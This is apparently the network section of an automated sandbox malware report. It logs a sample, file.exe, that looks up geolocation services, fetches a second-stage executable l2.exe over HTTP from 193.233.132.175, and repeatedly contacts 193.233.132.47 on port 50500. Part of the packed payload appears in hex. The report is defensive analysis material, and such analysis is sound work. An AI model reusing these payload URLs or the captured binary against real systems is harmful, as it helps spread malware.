Apr 25, 2024 16:32:12.075431108 CEST	49722	50500	192.168.2.5	193.233.132.47
Apr 25, 2024 16:32:12.360456944 CEST	50500	49722	193.233.132.47	192.168.2.5
Apr 25, 2024 16:32:12.545450926 CEST	49722	50500	192.168.2.5	193.233.132.47
Apr 25, 2024 16:32:15.403796911 CEST	49722	50500	192.168.2.5	193.233.132.47
Apr 25, 2024 16:32:15.673957109 CEST	50500	49722	193.233.132.47	192.168.2.5
Apr 25, 2024 16:32:15.778594971 CEST	49722	50500	192.168.2.5	193.233.132.47
Apr 25, 2024 16:32:18.716095924 CEST	49722	50500	192.168.2.5	193.233.132.47
Apr 25, 2024 16:32:18.991101980 CEST	50500	49722	193.233.132.47	192.168.2.5
Apr 25, 2024 16:32:19.091010094 CEST	49722	50500	192.168.2.5	193.233.132.47
Apr 25, 2024 16:32:22.044424057 CEST	49722	50500	192.168.2.5	193.233.132.47
Apr 25, 2024 16:32:22.314691067 CEST	50500	49722	193.233.132.47	192.168.2.5
Apr 25, 2024 16:32:22.388241053 CEST	49722	50500	192.168.2.5	193.233.132.47
Apr 25, 2024 16:32:25.341187000 CEST	49722	50500	192.168.2.5	193.233.132.47
Apr 25, 2024 16:32:25.614924908 CEST	50500	49722	193.233.132.47	192.168.2.5
Apr 25, 2024 16:32:25.684813023 CEST	49722	50500	192.168.2.5	193.233.132.47
Apr 25, 2024 16:32:27.367286921 CEST	50500	49722	193.233.132.47	192.168.2.5
Apr 25, 2024 16:32:27.367441893 CEST	49722	50500	192.168.2.5	193.233.132.47
Apr 25, 2024 16:32:27.661331892 CEST	50500	49722	193.233.132.47	192.168.2.5
Apr 25, 2024 16:32:30.419179916 CEST	49722	50500	192.168.2.5	193.233.132.47
Apr 25, 2024 16:32:30.692313910 CEST	50500	49722	193.233.132.47	192.168.2.5
Apr 25, 2024 16:32:30.778505087 CEST	49722	50500	192.168.2.5	193.233.132.47
Apr 25, 2024 16:32:33.747464895 CEST	49722	50500	192.168.2.5	193.233.132.47
Apr 25, 2024 16:32:34.021596909 CEST	50500	49722	193.233.132.47	192.168.2.5
Apr 25, 2024 16:32:34.069881916 CEST	49722	50500	192.168.2.5	193.233.132.47
Apr 25, 2024 16:32:37.075628042 CEST	49722	50500	192.168.2.5	193.233.132.47
Apr 25, 2024 16:32:37.351710081 CEST	50500	49722	193.233.132.47	192.168.2.5
Apr 25, 2024 16:32:37.494877100 CEST	49722	50500	192.168.2.5	193.233.132.47
Apr 25, 2024 16:32:40.403693914 CEST	49722	50500	192.168.2.5	193.233.132.47
Apr 25, 2024 16:32:40.676408052 CEST	50500	49722	193.233.132.47	192.168.2.5
Apr 25, 2024 16:32:40.780266047 CEST	49722	50500	192.168.2.5	193.233.132.47
Apr 25, 2024 16:32:43.731842041 CEST	49722	50500	192.168.2.5	193.233.132.47
Apr 25, 2024 16:32:44.001307011 CEST	50500	49722	193.233.132.47	192.168.2.5
Apr 25, 2024 16:32:44.091068983 CEST	49722	50500	192.168.2.5	193.233.132.47
Apr 25, 2024 16:32:47.030513048 CEST	49722	50500	192.168.2.5	193.233.132.47
Apr 25, 2024 16:32:47.303153992 CEST	50500	49722	193.233.132.47	192.168.2.5
Apr 25, 2024 16:32:47.380821943 CEST	49722	50500	192.168.2.5	193.233.132.47
Apr 25, 2024 16:32:50.358283043 CEST	49722	50500	192.168.2.5	193.233.132.47
Apr 25, 2024 16:32:50.630695105 CEST	50500	49722	193.233.132.47	192.168.2.5
Apr 25, 2024 16:32:50.696118116 CEST	49722	50500	192.168.2.5	193.233.132.47
Apr 25, 2024 16:32:53.684850931 CEST	49722	50500	192.168.2.5	193.233.132.47
Apr 25, 2024 16:32:53.960269928 CEST	50500	49722	193.233.132.47	192.168.2.5
Apr 25, 2024 16:32:54.091037989 CEST	49722	50500	192.168.2.5	193.233.132.47
Apr 25, 2024 16:32:57.013117075 CEST	49722	50500	192.168.2.5	193.233.132.47
Apr 25, 2024 16:32:57.283912897 CEST	50500	49722	193.233.132.47	192.168.2.5
Apr 25, 2024 16:32:57.385901928 CEST	49722	50500	192.168.2.5	193.233.132.47
Apr 25, 2024 16:33:00.309866905 CEST	49722	50500	192.168.2.5	193.233.132.47
Apr 25, 2024 16:33:00.585355997 CEST	50500	49722	193.233.132.47	192.168.2.5
Apr 25, 2024 16:33:00.778702021 CEST	49722	50500	192.168.2.5	193.233.132.47

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Apr 25, 2024 16:29:00.392832994 CEST	52911	53	192.168.2.5	1.1.1.1
Apr 25, 2024 16:29:00.502660990 CEST	53	52911	1.1.1.1	192.168.2.5
Apr 25, 2024 16:29:00.998086929 CEST	57966	53	192.168.2.5	1.1.1.1
Apr 25, 2024 16:29:01.110295057 CEST	53	57966	1.1.1.1	192.168.2.5
Apr 25, 2024 16:29:16.085247040 CEST	59423	53	192.168.2.5	1.1.1.1
Apr 25, 2024 16:29:16.862626076 CEST	53	59423	1.1.1.1	192.168.2.5

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Apr 25, 2024 16:29:00.392832994 CEST	192.168.2.5	1.1.1.1	0x6cfe	Standard query (0)	ipinfo.io	A (IP address)	IN (0x0001)	false
Apr 25, 2024 16:29:00.998086929 CEST	192.168.2.5	1.1.1.1	0x41a	Standard query (0)	db-ip.com	A (IP address)	IN (0x0001)	false
Apr 25, 2024 16:29:16.085247040 CEST	192.168.2.5	1.1.1.1	0x1be1	Standard query (0)	easy2buy.ae	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class	DNS over HTTPS
Apr 25, 2024 16:29:00.502660990 CEST	1.1.1.1	192.168.2.5	0x6cfe	No error (0)	ipinfo.io	34.117.186.192	A (IP address)	IN (0x0001)	false
Apr 25, 2024 16:29:01.110295057 CEST	1.1.1.1	192.168.2.5	0x41a	No error (0)	db-ip.com	104.26.5.15	A (IP address)	IN (0x0001)	false
Apr 25, 2024 16:29:01.110295057 CEST	1.1.1.1	192.168.2.5	0x41a	No error (0)	db-ip.com	104.26.4.15	A (IP address)	IN (0x0001)	false
Apr 25, 2024 16:29:01.110295057 CEST	1.1.1.1	192.168.2.5	0x41a	No error (0)	db-ip.com	172.67.75.166	A (IP address)	IN (0x0001)	false
Apr 25, 2024 16:29:16.862626076 CEST	1.1.1.1	192.168.2.5	0x1be1	No error (0)	easy2buy.ae	185.199.220.53	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

https:

ipinfo.io

db-ip.com

easy2buy.ae

193.233.132.175

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49709	193.233.132.175	80	6460	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Apr 25, 2024 16:29:10.157912016 CEST	225	OUT	HEAD /server/k/l2.exe HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.36 Host: 193.233.132.175 Cache-Control: no-cache
Apr 25, 2024 16:29:10.405459881 CEST	260	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Thu, 25 Apr 2024 14:29:10 GMT Content-Type: application/octet-stream Content-Length: 4563640 Last-Modified: Fri, 19 Apr 2024 15:26:27 GMT Connection: keep-alive ETag: "66228d23-45a2b8" Accept-Ranges: bytes
Apr 25, 2024 16:29:10.407350063 CEST	224	OUT	GET /server/k/l2.exe HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.36 Host: 193.233.132.175 Cache-Control: no-cache
Apr 25, 2024 16:29:10.655360937 CEST	1289	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Thu, 25 Apr 2024 14:29:10 GMT Content-Type: application/octet-stream Content-Length: 4563640 Last-Modified: Fri, 19 Apr 2024 15:26:27 GMT Connection: keep-alive ETag: "66228d23-45a2b8" Accept-Ranges: bytes Data Raw: 4d 5a 40 00 01 00 00 00 02 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 0a 00 00 00 00 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 57 69 6e 33 32 20 2e 45 58 45 2e 0d 0a 24 40 00 00 00 50 45 00 00 4c 01 03 00 a9 4d d8 61 00 00 00 00 00 00 00 00 e0 00 02 03 0b 01 0e 1d 00 18 00 00 00 5e 19 00 00 00 00 00 c8 80 77 00 00 10 00 00 00 30 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 90 7d 00 00 02 00 00 6d 1a 46 00 02 00 00 85 00 00 10 00 00 d0 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 80 77 00 c8 00 00 00 00 90 77 00 7c f6 05 00 00 00 00 00 00 00 00 00 00 8a 45 00 b8 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 80 77 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 4d 50 52 45 53 53 31 00 70 77 00 00 10 00 00 00 82 3f 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 00 00 e0 2e 4d 50 52 45 53 53 32 32 0c 00 00 00 80 77 00 00 0e 00 00 00 84 3f 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 00 00 e0 2e 72 73 72 63 00 00 00 7c f6 05 00 00 90 77 00 00 f8 05 00 00 92 3f 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 76 32 2e 31 39 77 07 ae 80 3f 00 20 05 00 00 6f fd ff ff a3 b7 ff 47 3e 48 15 72 39 61 51 b8 92 28 e6 a3 86 07 f9 ee e4 1e 82 60 06 2e 19 84 3d c1 98 07 18 3f b1 8a c8 06 21 97 5a 9f 17 26 49 ef d7 89 87 a0 7f f8 9c 1a 49 31 38 ab c9 5a 21 b9 88 59 1b ae 73 bb 19 eb 5b 51 58 ea b8 cf f9 ca 61 e9 ea fc d8 84 59 59 a3 81 db 8e 29 e7 76 bc d0 d2 e2 0b 6e c0 ce 18 8d 84 c5 87 7c 29 a6 0c ed c1 5e 66 bf 07 2b e3 8a 3e 03 98 38 34 68 38 32 67 b0 86 8a 3e 2a b4 68 62 5c b0 a7 9b 45 96 28 ad 78 ba dd 89 a6 ce bc d5 40 b7 38 5f c9 39 ec 34 55 10 6d 18 ec 27 8d 73 cb c6 0f d8 05 bc 23 ff 88 ab da b9 96 30 33 fc b8 00 a9 fc 92 1d 4f c4 e7 90 5d 60 12 9b 53 32 db b8 40 23 0f c7 03 0e ab 10 fd b8 f2 6f 46 7e 9e 2a fd 52 a1 c1 51 7f d0 71 be 6f 98 79 6e fb c1 da 4f 41 40 7c 1f ec 12 e5 67 c5 d8 1f 46 b5 b1 d2 97 12 30 90 6a b0 c9 1f 1e a8 e1 11 73 2f 0b e5 48 af 0a 2b 20 30 43 da 21 be 8e ec f6 37 73 ee f1 5e 48 2c 1a 0b be 82 1d a8 20 0e ce 7b 8d f5 c5 f5 e3 da 80 c7 b4 ba 02 87 94 03 b5 02 97 44 af ba e5 e0 f5 bf 72 12 49 97 0b 2c 7c 8b 1d ae 9b bd d0 7f a8 75 84 36 ba bb 9e 15 0a be 45 3e 71 de d7 7d 7f dc d8 99 86 67 a0 c3 29 e4 8b 55 fe e5 4d 45 98 27 d7 91 6a 7d f4 1a 1a c6 e0 91 00 ee f6 37 5e 0a 8d c2 aa 77 ba f2 ff b0 1c fb 0e 4c 65 b3 00 e5 81 91 85 17 99 6b e5 54 b1 60 d7 23 25 a5 ab 98 c1 62 f1 c2 6e e6 46 88 26 2d 6f 95 cc 10 0e 2f 38 53 c3 45 0d c0 7b 31 1d 45 a1 9c 2c 9d f5 bf 13 3c 95 63 7c 62 14 7a 8b 46 7a 1a 01 b7 08 bd e8 11 11 7c 83 ee 57 22 70 03 15 e4 ed a2 17 31 ba 52 78 e6 fb b7 ba 6b 46 40 f9 62 4c 19 cf 0f 83 67 98 84 14 d6 a1 Data Ascii: MZ@!L!Win32 .EXE.$@PELMa^w0@}mFww\|EPw.MPRESS1pw?.MPRESS22w?.rsrc\|w?@v2.19w? oG>Hr9aQ(`.=?!Z&II18Z!Ys[QXaYY)vn\|)^f+>84h82g>hb\E(x@8_94Um's#03O]`S2@#oF~RQqoynOA@\|gF0js/H+ 0C!7s^H, {DrI,\|u6E>q}g)UME'j}7^wLekT`#%bnF&-o/8SE{1E,<c\|bzFz\|W"p1RxkF@bLg
Apr 25, 2024 16:29:10.655405045 CEST	1289	IN	Data Raw: 84 0d 70 e7 ad 96 18 5f 8e 2d 2d ee da 4b a9 1a ef fa 01 bb 89 f5 32 c4 d1 0b f5 7c e5 6b fa 6f 04 df 4e c7 ef b3 24 58 87 6b d3 a0 cc 6a 82 2b 8b a9 25 8b c0 ff 92 f1 c1 a7 ad fc fb 52 2b 74 cd 1e 5b 20 42 f9 dd 53 3d f8 29 64 09 3b 80 cb 2a 6c Data Ascii: p_--K2\|koN$Xkj+%R+t[ BS=)d;l;._>KfBqxY(F\|0.Ve%S61opMG`'\YfRXvY[R+t[ BS=)d;l;._>KfBqxY(F\|
Apr 25, 2024 16:29:10.655467033 CEST	1289	IN	Data Raw: 5b 5e 89 45 b8 85 f7 82 48 b6 86 d6 9c c6 52 71 df 57 dd d0 18 7e b7 3b 9a 47 97 be 45 9e ad 2f 28 2a 9b 9b 50 a0 69 8e 75 b8 c9 0b 69 ed c0 1b be 55 c0 ca 05 b9 2f 62 11 7f 73 15 d5 5a 13 03 fc c4 8b 44 11 5f 57 06 a6 86 fc 35 e7 e9 7b b6 82 a9 Data Ascii: [^EHRqW~;GE/(*PiuiU/bsZD_W5{6"f#83\|)`zwE++i4y5b6=a;8YVM5>}xOozLP9_D4[]XjKnzFR0N1Ifr
Apr 25, 2024 16:29:10.655508041 CEST	1289	IN	Data Raw: 48 96 7a 05 5b 38 20 82 68 54 c6 cc e3 6f 64 43 0a 02 42 e5 5e 0f a3 7c 10 a0 0c 4e ae fc d2 a9 b1 77 6d 51 67 ab 26 14 00 60 cb 54 ea e1 2f c5 c3 8a 9b 44 27 b1 ed e3 78 03 eb 1b 10 b8 8b 84 03 a3 12 d0 9d 0e 84 e2 1c f7 08 95 79 ec 19 4c c9 8a Data Ascii: Hz[8 hTodCB^\|NwmQg&`T/D'xyL%{{w?U=N_'Li99Y3ewQPag"3CiCiP@ee*mxU8!,[:xE\|ZD>~6q)4,3};QIZe3r:!
Apr 25, 2024 16:29:10.655551910 CEST	1289	IN	Data Raw: 69 0c 06 0f 08 5b 83 b2 d3 3d 94 88 9c e6 00 95 0f 15 e9 2f 22 56 e1 ef 2b 60 43 1e 66 0a ce 44 ac 54 3f a7 15 c2 03 8e 77 a9 33 ba 7a 6f 0e 1a e4 07 11 d8 8c 59 e8 7f 08 b1 6e d8 a6 25 e3 98 0f 07 42 79 08 8d 39 e5 4d f4 57 74 34 c1 b0 b6 6d 03 Data Ascii: i[=/"V+`CfDT?w3zoYn%By9MWt4mbN 0qAS9F1TS'e5~l~Kyvc2owI.Fiq,T}qhKnNy\|@d+)9iQ4E=L"
Apr 25, 2024 16:29:10.655592918 CEST	1289	IN	Data Raw: fb c6 78 70 03 5c 42 aa a0 fb 41 20 8f 24 b3 e3 47 81 32 61 51 c0 53 b8 fa 17 59 9d 09 58 65 c4 9a 39 4a f5 74 5c b0 24 c9 b3 c6 db 2b 92 94 50 bd 13 45 9f cd 3f 52 00 63 1c f0 1a 1a f5 12 e2 ba 26 a8 97 9d 8d f2 6d 57 e7 13 24 df b2 5f 03 e2 10 Data Ascii: xp\BA $G2aQSYXe9Jt\$+PE?Rc&mW$_o7TT<SUq I*y"j4wHCr4fP(muX%6e}GiY\h7TW/6>kxfX"uM'?NiPQ{?Bs,6=sLzZ
Apr 25, 2024 16:29:10.655632973 CEST	1289	IN	Data Raw: 87 49 a6 95 5b b0 59 97 58 cc 93 60 b4 35 d2 b0 11 63 f6 77 df dd 96 be 90 16 2d 92 2f c1 01 5e 64 f4 7f 5a d0 1d b2 7c ad ef 4a 35 c7 d4 89 8a a5 fa c3 d1 30 56 71 f7 67 60 29 d1 9f 72 54 b5 24 b0 3c 8d 35 9d b9 17 b0 f6 e1 62 6a 8e fd 1a 9b 3b Data Ascii: I[YX`5cw-/^dZ\|J50Vqg`)rT$<5bj;(sa<[h"y&=xo<!pSj7w_P?tT!ly;wxC Wc){&I_um'MeEm^$upwvS\PI$tKYk{Ql"9
Apr 25, 2024 16:29:10.655679941 CEST	1289	IN	Data Raw: c2 f5 89 5e 16 dc 39 df 5f d9 00 e3 a5 88 f8 dc e1 d8 e3 94 f6 cf a2 d6 4d 06 0b 82 f9 ba f9 0b f0 f0 c0 1e 89 01 c2 13 30 e9 64 34 09 fd 2f ad 14 03 23 cd 80 cc f7 80 78 58 35 34 4d 21 00 89 0f 17 06 fd a2 28 0a 5e 48 3a ce 53 31 9a f4 3d d5 c6 Data Ascii: ^9_M0d4/#xX54M!(^H:S1=&t\|mQOwvfWCt`^*@(P?t!5XK"fnGdB9[vca3(eP,?mE\@&X;R(2F\A48>.5c/$p(M 3?A k
Apr 25, 2024 16:29:10.655719042 CEST	1289	IN	Data Raw: fe 05 01 44 95 69 9c fb cc 78 9f 42 85 43 55 94 5d b7 f3 98 a1 89 e4 92 e9 a1 f6 78 16 da bb 31 e7 a1 24 1e 6d d2 c4 20 bf 71 40 1b 2c 64 da f7 8b 85 d2 92 89 f1 97 54 63 8f e3 e3 f2 d5 6e e7 80 c0 64 e9 df 87 7a bd 50 85 52 35 c8 17 f0 07 23 17 Data Ascii: DixBCU]x1$m q@,dTcndzPR5#VN"v^mY#lI\9^gAZ(gZVcdd.2o@8<!NU'?Pt>L4eK".YEt:0Sf
Apr 25, 2024 16:29:10.655761003 CEST	1289	IN	Data Raw: 6b e0 b1 ad da f3 07 30 0a ce 9e 04 e0 66 7b 6e fb 49 db 50 b4 21 4d 12 90 d1 73 1b b0 a6 d8 b0 81 9c 24 1e 9e c1 8a 3d bb 31 d7 39 15 77 87 2f 64 07 7d f8 e0 2e cb 3b f9 ce 73 aa 19 20 23 8a e7 22 5c 33 a2 88 64 83 96 09 35 0a 00 c9 6e 31 21 af Data Ascii: k0f{nIP!Ms$=19w/d}.;s #"\3d5n1!L`Ys*>N`}tAHg>pN:LH!ZHr@/C/rvI]=,Xw+\`uN`Cxq+-JWi@r/E>8$Q v,eoJ%]OSO
Apr 25, 2024 16:29:10.903414965 CEST	1289	IN	Data Raw: 03 6b a9 45 9c df 84 bb 58 ae 97 39 f7 c3 3a a7 cd 8f 8e 8d 6d db eb f7 3f 5d 59 65 63 25 8d 7d db 1a 98 d9 33 2e 4b f0 1f 46 c8 86 b4 d4 2a 82 e1 7c 41 8d ff f0 74 29 34 84 62 88 b6 1a 64 5e 7a b2 4b b8 e4 fd 96 3b fb 93 9b bc 37 32 f5 86 4f da Data Ascii: kEX9:m?]Yec%}3.KF*\|At)4bd^zK;72Ozgve\|>"SJ7,;PGX3l8aszA":O=,?G&eif4wW/1k[Gf<};U(;.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49712	185.199.220.53	80	6460	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Apr 25, 2024 16:29:17.064011097 CEST	169	OUT	Data Raw: 16 03 03 00 a4 01 00 00 a0 03 03 66 2a 68 bc f4 81 34 52 d9 05 e7 30 ed 3b 48 15 f1 f8 39 67 d2 17 79 a0 37 c8 ec 56 26 aa 3e d8 00 00 26 c0 2c c0 2b c0 30 c0 2f c0 24 c0 23 c0 28 c0 27 c0 0a c0 09 c0 14 c0 13 00 9d 00 9c 00 3d 00 3c 00 35 00 2f Data Ascii: f*h4R0;H9gy7V&>&,+0/$#('=<5/Qeasy2buy.ae#
Apr 25, 2024 16:29:17.260129929 CEST	948	IN	HTTP/1.1 405 Method Not Allowed Connection: close cache-control: private, no-cache, no-store, must-revalidate, max-age=0 pragma: no-cache content-type: text/html content-length: 702 date: Thu, 25 Apr 2024 14:29:17 GMT server: LiteSpeed Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 35 20 4d 65 74 68 6f 64 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 20 68 65 69 67 68 74 3a 31 30 30 25 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 22 3e 0a 3c 64 69 76 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 61 75 74 6f 3b 20 6d 69 6e 2d 68 65 69 67 68 74 3a 31 30 30 25 3b 20 22 3e 20 20 20 20 20 3c 64 69 76 20 73 74 79 6c 65 3d 22 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 20 77 69 64 74 68 3a 38 30 30 70 78 3b 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 2d 34 30 30 70 78 3b 20 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 20 74 6f 70 3a 20 33 30 25 3b 20 6c 65 66 74 3a 35 30 25 3b 22 3e 0a 20 20 20 20 20 20 20 20 3c 68 31 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 3a 30 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 31 35 30 70 78 3b 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 35 30 70 78 3b 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 3b 22 3e 34 30 35 3c 2f 68 31 3e 0a 3c 68 32 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 2d 74 6f 70 3a 32 30 70 78 3b 66 6f 6e 74 2d 73 69 7a 65 3a 20 33 30 70 78 3b 22 3e 4d 65 74 68 6f 64 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 0d 0a 3c 2f 68 32 3e 0a 3c 70 3e 54 68 69 73 20 74 79 70 65 20 72 65 71 75 65 73 74 20 69 73 20 6e 6f 74 20 61 6c 6c 6f 77 65 64 21 3c 2f 70 3e 0a 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 405 Method Not Allowed</title></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif; height:100%; background-color: #fff;"><div style="height:auto; min-height:100%; "> <div style="text-align: center; width:800px; margin-left: -400px; position:absolute; top: 30%; left:50%;"> <h1 style="margin:0; font-size:150px; line-height:150px; font-weight:bold;">405</h1><h2 style="margin-top:20px;font-size: 30px;">Method Not Allowed</h2><p>This type request is not allowed!</p></div></div></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49713	185.199.220.53	80	6460	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Apr 25, 2024 16:29:17.462755919 CEST	115	OUT	Data Raw: 16 03 01 00 6e 01 00 00 6a 03 01 66 2a 68 bc c2 66 15 dc 43 53 a2 33 57 21 53 0f fa ab 27 a0 31 5a 9a ff d6 2e ca ac 34 bd fe 59 00 00 0e c0 0a c0 09 c0 14 c0 13 00 35 00 2f 00 0a 01 00 00 33 00 00 00 10 00 0e 00 00 0b 65 61 73 79 32 62 75 79 2e Data Ascii: njf*hfCS3W!S'1Z.4Y5/3easy2buy.ae#
Apr 25, 2024 16:29:17.666676998 CEST	948	IN	HTTP/1.1 405 Method Not Allowed Connection: close cache-control: private, no-cache, no-store, must-revalidate, max-age=0 pragma: no-cache content-type: text/html content-length: 702 date: Thu, 25 Apr 2024 14:29:17 GMT server: LiteSpeed Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 35 20 4d 65 74 68 6f 64 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 20 68 65 69 67 68 74 3a 31 30 30 25 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 22 3e 0a 3c 64 69 76 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 61 75 74 6f 3b 20 6d 69 6e 2d 68 65 69 67 68 74 3a 31 30 30 25 3b 20 22 3e 20 20 20 20 20 3c 64 69 76 20 73 74 79 6c 65 3d 22 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 20 77 69 64 74 68 3a 38 30 30 70 78 3b 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 2d 34 30 30 70 78 3b 20 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 20 74 6f 70 3a 20 33 30 25 3b 20 6c 65 66 74 3a 35 30 25 3b 22 3e 0a 20 20 20 20 20 20 20 20 3c 68 31 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 3a 30 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 31 35 30 70 78 3b 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 35 30 70 78 3b 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 3b 22 3e 34 30 35 3c 2f 68 31 3e 0a 3c 68 32 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 2d 74 6f 70 3a 32 30 70 78 3b 66 6f 6e 74 2d 73 69 7a 65 3a 20 33 30 70 78 3b 22 3e 4d 65 74 68 6f 64 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 0d 0a 3c 2f 68 32 3e 0a 3c 70 3e 54 68 69 73 20 74 79 70 65 20 72 65 71 75 65 73 74 20 69 73 20 6e 6f 74 20 61 6c 6c 6f 77 65 64 21 3c 2f 70 3e 0a 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 405 Method Not Allowed</title></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif; height:100%; background-color: #fff;"><div style="height:auto; min-height:100%; "> <div style="text-align: center; width:800px; margin-left: -400px; position:absolute; top: 30%; left:50%;"> <h1 style="margin:0; font-size:150px; line-height:150px; font-weight:bold;">405</h1><h2 style="margin-top:20px;font-size: 30px;">Method Not Allowed</h2><p>This type request is not allowed!</p></div></div></body></html>

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
